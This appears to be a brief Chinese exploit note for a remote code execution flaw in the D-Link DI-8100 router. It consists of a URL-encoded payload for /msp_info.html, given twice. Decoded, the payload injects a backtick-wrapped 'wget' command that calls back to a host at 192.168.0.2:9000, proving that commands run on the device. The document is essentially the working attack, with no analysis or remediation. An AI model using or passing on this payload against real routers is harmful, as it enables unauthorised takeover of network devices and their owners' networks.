D21-1D-LINK-DI-8100-RCE
漏洞复现：
payload：
/msp_info.html?flag=cmd&cmd=%31%31%60%77%67%65%74%20%68%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%30%2e%32%3a%39%30%30%30%2f%31%31%32%60
payload：
/msp_info.html?flag=cmd&cmd=%31%31%60%77%67%65%74%20%68%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%30%2e%32%3a%39%30%30%30%2f%31%31%32%60